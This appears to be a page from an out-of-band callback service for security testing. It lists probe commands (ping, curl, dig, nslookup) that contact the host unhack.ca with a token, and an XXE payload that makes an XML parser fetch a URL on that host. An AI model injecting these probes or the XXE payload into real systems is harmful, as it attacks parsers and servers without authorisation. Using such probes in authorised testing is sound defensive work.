$ ping -c1 -p 0020054b38a3bf5f11abafbd361e1800 unhack.ca
 

$ curl http://unhack.ca/p/20054b38a3bf5f11abafbd361e18
 

$ dig 20054b38a3bf5f11abafbd361e18 @unhack.ca
 

$ dig 20054b38a3bf5f11abafbd361e18.ns.unhack.ca
 

C:\> nslookup 20054b38a3bf5f11abafbd361e18 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/20054b38a3bf5f11abafbd361e18">]>
    <foo>&xxe;</foo>